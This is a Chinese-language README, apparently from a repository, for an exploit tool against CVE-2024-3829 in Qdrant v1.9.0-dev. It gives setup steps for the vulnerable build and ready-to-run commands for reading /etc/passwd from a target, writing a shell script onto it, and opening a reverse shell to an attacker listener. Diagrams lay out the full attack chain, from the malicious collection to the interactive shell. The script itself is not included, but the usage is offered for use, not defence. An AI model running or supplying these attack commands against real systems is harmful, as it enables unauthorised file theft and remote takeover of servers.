
########################### 这是针对 QDRANT 1.9.0-dev 的 CVE-2024-3829 漏洞利用程序 ###########################
_______ __ __ _______ _______ _______ _______ _ ___ _______ _____ _______ _______
| || | | || | | || _ || || | | | | | | _ | | || _ |
| || |_| || ___| ____ |____ || | | ||____ || |_| | ____ |___ | | |_| | |____ || | | |
| || || |___ |____| ____| || | | | ____| || ||____| ___| || _ | ____| || |_| |
| _|| || ___| | ______|| |_| || ______||___ | |___ || | | || ______||___ |
| |_ | | | |___ | |_____ | || |_____ | | ___| || |_| || |_____ | |
|_______| |___| |_______| |_______||_______||_______| |___| |_______||_______||_______| |___|
############################################### 作者:fabse-hack.de ###############################################
本仓库记录并演示了 qdrant/qdrant (v1.9.0-dev) 中的 CVE-2024-3829 漏洞
该漏洞允许通过符号链接/路径技巧操作快照归档文件。这可以实现两类影响,外加一个反向 Shell,哈哈:
根据环境不同,文件写入原语可能升级为代码执行。
1.9.0-dev此版本已不再在万维网(有些人称之为“互联网”)上提供。
在 qdrant 仓库中,NVD Nist 报告指向了存在漏洞的 v1.9.0-dev 提交。
如果您想在 Docker 上安装此版本用于 CTF 或其他用途,请使用:
git clone https://github.com/qdrant/qdrant.git
cd qdrant
git checkout 15479a45ffa3b955485ae516696f7e933a8cce8a^
docker build -t qdrant:1.9.0-dev-vuln .
docker run -p 6333:6333 qdrant:1.9.0-dev-vuln
cve_2024_3829.py - 用于读/写/触发工作流程的漏洞利用程序requirements.txt - Python 依赖requests安装:
python3 -m pip install -r requirements.txt
显示所有选项:
python3 cve_2024_3829.py -h
示例:
# 读取模式
python3 cve_2024_3829.py -m read -tu http://target_ip -tp <target_port> -tpath /etc/ -tf passwd
# 写入模式
python3 cve_2024_3829.py -m write -tu http://target_ip -tp <target_port> -tpath /tmp/ -apath /tmp/ -af shell.sh
# 反向 Shell 模式
python3 cve_2024_3829.py -m reverse_shell -tu http://target_ip -tp <target_port> -ai <listener_ip> -ap <listener_port>
-h, --help:显示 CLI 帮助-m, --mode:可选值 read、write、reverse_shell(必填)-tu, --target_url:Qdrant 基础 URL(脚本中的默认值)-tp, --target_port:目标 Qdrant 端口(默认:6333)-tpath, --target_path:远程目标路径(默认:/etc/)--target_port,则 --target_url 应为不带尾部端口的基础 URL,因为脚本会构建 <url>:<target_port>/... 的 URL。read 模式下,脚本会组合 --target_path 和 --target_file_name(例如 /etc/ + passwd)。write 模式下,--attacker_path 应指向一个已存在的本地文件,--attacker_file_name 定义远程文件名。sequenceDiagram
participant Attacker as 攻击者
participant Exploit as 漏洞利用程序
participant Target as 目标
participant Listener as 监听器
Attacker->>Exploit: 启动漏洞利用脚本
Exploit->>Listener: 启动 TCP 监听器
Exploit->>Target: 创建恶意集合
Exploit->>Target: 上传触发脚本
Exploit->>Target: 覆盖可执行文件
Exploit->>Target: 调用 /stacktrace 端点
Target->>Listener: 反向 Shell 连接
Listener->>Attacker: 交互式 Shell 访问
flowchart TD
Start[启动监听器]
Bind[绑定到攻击者端口]
Listen[等待连接]
Accept[接受传入连接]
Interactive[交互式 Shell 会话]
End[连接关闭]
Start --> Bind
Bind --> Listen
Listen --> Accept
Accept --> Interactive
Interactive --> End
-tf, --target_file_name:远程目标文件名(默认:passwd)-ai, --attacker_ip:反向 Shell 模式的回调/监听 IP-ap, --attacker_port:回调/监听端口(默认:9001)-apath, --attacker_path:写入模式下本地攻击者文件路径(默认:/tmp/)-af, --attacker_file_name:写入模式下在目标上使用的文件名(默认:shell.sh)